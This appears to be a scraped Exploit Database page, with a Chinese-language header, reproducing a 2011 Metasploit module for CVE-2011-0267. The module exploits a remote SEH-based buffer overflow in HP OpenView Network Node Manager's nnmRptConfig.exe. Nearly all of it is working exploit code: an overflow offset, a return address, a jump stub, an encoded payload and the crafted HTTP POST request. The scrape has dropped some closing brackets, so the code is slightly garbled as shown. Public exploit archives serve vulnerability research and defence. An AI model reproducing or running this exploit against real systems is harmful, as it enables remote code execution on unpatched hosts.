HP OpenView Network Node Manager (OV NNM) – ‘nnmRptConfig.exe schdParams’ Remote Buffer Overflow (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2011-03-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17038/

100

101

102

103

# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info={})

super(update_info(info,

'Name'=> "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",

'Description' => %q{

This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,

the overflow occurs during a ov.sprintf_new() call, which allows an attacker to

overwrite data on the stack, and gain arbitrary code execution.

'License' => MSF_LICENSE,

'Version' => "$Revision: 12121 $",

'Author'=> ['sinn3r'],

'References'=>

[

['CVE', '2011-0267'],

['OSVDB', '70473'],

['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],

'Payload' =>

{

'BadChars' => "\x00\x26\x2b",

'DefaultOptions' =>

{

'ExitFunction' => "seh",

'AutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

'NNM 7.53 - Windows Server 2003 Ent', {

'Ret' => 0x5A30532D,#POP/POP/RET OvWww.dll

'Offset'=> 46919, #Offset to SEH chain

'Pops'=> 13,#Number of POPADs needed to find a bigger space with our payload

'Payloadoffset' => 57,#Offset to the payload

}],

'DisclosureDate' => "Jan 10 2011"))

register_options( [Opt::RPORT(80)], self.class )

end

def exploit

nops = make_nops(1000)*70

sploit= nops[0, target['Offset']]

sploit << generate_seh_record(target.ret)

sploit << "\x61"*target['Pops']

sploit << "\xff\xe1"#JMP ECX

sploit << nops[0, target['Payloadoffset']]

sploit << payload.encoded

sploit << "\x44"*(70000-sploit.length)

data= "Content&Action=Create&"

data << "Template=Avail/CRAvail&"

data << "Operation=Apply&"

data << "Params=schdParams+nameParams&"

data << "schdParams=#{sploit}%7Cmonthtodate&"

data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

connect

send_request_raw({

'uri' => '/OvCgi/nnmRptConfig.exe',

'data'=> data,

'version' => '1.1',

'method'=> 'POST',

'headers' => {

'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' => 'en-us,en;q=0.5',

'Accept-Encoding' => 'gzip,deflate',

'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',

'Keep-Alive'=> '300',

'Connection'=> 'Keep-Alive',

'Cache-Control' => 'mag-age=0',

'Content-Length'=> data.length,

'Content-Type'=> 'application/x-www-form-urlencoded',

}

}, 3)

handler

disconnect

end